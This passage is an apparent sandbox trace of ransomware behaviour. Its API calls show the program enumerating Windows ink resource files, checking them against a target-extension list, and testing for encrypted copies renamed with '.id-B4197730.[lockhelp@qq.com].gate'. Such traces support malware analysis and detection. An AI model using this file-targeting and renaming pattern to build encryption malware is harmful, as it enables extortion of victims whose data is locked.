"c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.571] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10240) returned 1 [0282.571] CloseHandle (hObject=0x4b4) returned 1 [0282.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0282.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.571] lstrlenW (lpString=".doc") returned 4 [0282.571] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.571] lstrlenW (lpString=".docx") returned 5 [0282.571] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.571] lstrlenW (lpString=".pdf") returned 4 [0282.571] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.571] lstrlenW (lpString=".xls") returned 4 [0282.571] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.571] lstrlenW (lpString=".xlsx") returned 5 [0282.571] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.571] lstrlenW (lpString=".ppt") returned 4 [0282.572] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.572] lstrlenW (lpString=".zip") returned 4 [0282.572] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.572] lstrlenW (lpString=".rar") returned 4 [0282.572] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.572] lstrlenW (lpString=".bz2") returned 4 [0282.572] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.572] lstrlenW (lpString=".7z") returned 3 [0282.572] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.572] lstrlenW (lpString=".dbf") returned 4 [0282.572] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.572] lstrlenW (lpString=".1cd") returned 4 [0282.572] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.572] lstrlenW (lpString=".jpg") returned 4 [0282.572] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.572] lstrlenW (lpString=".doc") returned 4 [0282.572] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.572] lstrlenW (lpString=".docx") returned 5 [0282.572] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.572] lstrlenW (lpString=".pdf") returned 4 [0282.572] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.572] lstrlenW (lpString=".xls") returned 4 [0282.572] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.572] lstrlenW (lpString=".xlsx") returned 5 [0282.572] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.572] lstrlenW (lpString=".ppt") returned 4 [0282.572] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.573] lstrlenW (lpString=".zip") returned 4 [0282.573] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.573] lstrlenW (lpString=".rar") returned 4 [0282.573] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.573] lstrlenW (lpString=".bz2") returned 4 [0282.573] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.573] lstrlenW (lpString=".7z") returned 3 [0282.573] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.573] lstrlenW (lpString=".dbf") returned 4 [0282.573] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.573] lstrlenW (lpString=".1cd") returned 4 [0282.573] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0282.573] lstrlenW (lpString=".jpg") returned 4 [0282.573] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.573] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.573] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.573] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10240) returned 1 [0282.574] CloseHandle (hObject=0x4b4) returned 1 [0282.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0282.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.574] lstrlenW (lpString=".doc") returned 4 [0282.574] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.574] lstrlenW (lpString=".docx") returned 5 [0282.574] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.574] lstrlenW (lpString=".pdf") returned 4 [0282.574] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.574] lstrlenW (lpString=".xls") returned 4 [0282.574] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.574] lstrlenW (lpString=".xlsx") returned 5 [0282.574] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.574] lstrlenW (lpString=".ppt") returned 4 [0282.574] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.574] lstrlenW (lpString=".zip") returned 4 [0282.574] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.574] lstrlenW (lpString=".rar") returned 4 [0282.574] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.574] lstrlenW (lpString=".bz2") returned 4 [0282.574] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.574] lstrlenW (lpString=".7z") returned 3 [0282.574] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.575] lstrlenW (lpString=".dbf") returned 4 [0282.575] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.575] lstrlenW (lpString=".1cd") returned 4 [0282.575] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.575] lstrlenW (lpString=".jpg") returned 4 [0282.575] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.575] lstrlenW (lpString=".doc") returned 4 [0282.575] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.575] lstrlenW (lpString=".docx") returned 5 [0282.575] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.575] lstrlenW (lpString=".pdf") returned 4 [0282.575] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.575] lstrlenW (lpString=".xls") returned 4 [0282.575] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.575] lstrlenW (lpString=".xlsx") returned 5 [0282.575] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.575] lstrlenW (lpString=".ppt") returned 4 [0282.575] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.575] lstrlenW (lpString=".zip") returned 4 [0282.575] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.575] lstrlenW (lpString=".rar") returned 4 [0282.575] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.575] lstrlenW (lpString=".bz2") returned 4 [0282.575] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.575] lstrlenW (lpString=".7z") returned 3 [0282.575] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.576] lstrlenW (lpString=".dbf") returned 4 [0282.576] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.576] lstrlenW (lpString=".1cd") returned 4 [0282.576] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0282.576] lstrlenW (lpString=".jpg") returned 4 [0282.576] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.576] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.576] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.576] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0282.576] CloseHandle (hObject=0x4b4) returned 1 [0282.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0282.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString=".doc") returned 4 [0282.577] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.577] lstrlenW (lpString=".docx") returned 5 [0282.577] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.577] lstrlenW (lpString=".pdf") returned 4 [0282.577] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.577] lstrlenW (lpString=".xls") returned 4 [0282.577] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.577] lstrlenW (lpString=".xlsx") returned 5 [0282.577] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.577] lstrlenW (lpString=".ppt") returned 4 [0282.577] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString=".zip") returned 4 [0282.577] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.577] lstrlenW (lpString=".rar") returned 4 [0282.577] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.577] lstrlenW (lpString=".bz2") returned 4 [0282.577] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.577] lstrlenW (lpString=".7z") returned 3 [0282.577] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString=".dbf") returned 4 [0282.577] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString=".1cd") returned 4 [0282.577] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString=".jpg") returned 4 [0282.577] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.578] lstrlenW (lpString=".doc") returned 4 [0282.578] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.578] lstrlenW (lpString=".docx") returned 5 [0282.578] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.578] lstrlenW (lpString=".pdf") returned 4 [0282.578] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.578] lstrlenW (lpString=".xls") returned 4 [0282.578] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.578] lstrlenW (lpString=".xlsx") returned 5 [0282.578] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.578] lstrlenW (lpString=".ppt") returned 4 [0282.578] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.578] lstrlenW (lpString=".zip") returned 4 [0282.578] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.578] lstrlenW (lpString=".rar") returned 4 [0282.578] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.578] lstrlenW (lpString=".bz2") returned 4 [0282.578] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.578] lstrlenW (lpString=".7z") returned 3 [0282.578] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.578] lstrlenW (lpString=".dbf") returned 4 [0282.578] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.578] lstrlenW (lpString=".1cd") returned 4 [0282.578] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0282.578] lstrlenW (lpString=".jpg") returned 4 [0282.578] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.579] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.579] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.579] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0282.579] CloseHandle (hObject=0x4b4) returned 1 [0282.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0282.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.579] lstrlenW (lpString=".doc") returned 4 [0282.579] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.579] lstrlenW (lpString=".docx") returned 5 [0282.579] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.579] lstrlenW (lpString=".pdf") returned 4 [0282.579] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.579] lstrlenW (lpString=".xls") returned 4 [0282.579] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.579] lstrlenW (lpString=".xlsx") returned 5 [0282.579] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.579] lstrlenW (lpString=".ppt") returned 4 [0282.580] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.580] lstrlenW (lpString=".zip") returned 4 [0282.580] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.580] lstrlenW (lpString=".rar") returned 4 [0282.580] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.580] lstrlenW (lpString=".bz2") returned 4 [0282.580] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.580] lstrlenW (lpString=".7z") returned 3 [0282.580] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.580] lstrlenW (lpString=".dbf") returned 4 [0282.580] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.580] lstrlenW (lpString=".1cd") returned 4 [0282.580] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.580] lstrlenW (lpString=".jpg") returned 4 [0282.580] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.580] lstrlenW (lpString=".doc") returned 4 [0282.580] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.580] lstrlenW (lpString=".docx") returned 5 [0282.580] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.580] lstrlenW (lpString=".pdf") returned 4 [0282.580] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.580] lstrlenW (lpString=".xls") returned 4 [0282.580] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.580] lstrlenW (lpString=".xlsx") returned 5 [0282.580] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.580] lstrlenW (lpString=".ppt") returned 4 [0282.580] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.581] lstrlenW (lpString=".zip") returned 4 [0282.581] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.581] lstrlenW (lpString=".rar") returned 4 [0282.581] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.581] lstrlenW (lpString=".bz2") returned 4 [0282.581] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.581] lstrlenW (lpString=".7z") returned 3 [0282.581] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.581] lstrlenW (lpString=".dbf") returned 4 [0282.581] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.581] lstrlenW (lpString=".1cd") returned 4 [0282.581] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0282.581] lstrlenW (lpString=".jpg") returned 4 [0282.581] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.581] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.581] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.581] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0282.581] CloseHandle (hObject=0x4b4) returned 1 [0282.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0282.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0282.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0282.582] lstrlenW (lpString=".doc") returned 4 [0282.582] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.582] lstrlenW (lpString=".docx") returned 5 [0282.582] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.582] lstrlenW (lpString=".pdf") returned 4 [0282.582] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.582] lstrlenW (lpString=".xls") returned 4 [0282.582] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.582] lstrlenW (lpString=".xlsx") returned 5 [0282.582] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.582] lstrlenW (lpString=".ppt") returned 4 [0282.582] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0282.582] lstrlenW (lpString=".zip") returned 4 [0282.582] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.582] lstrlenW (lpString=".rar") returned 4 [0282.582] lstrcmpiW 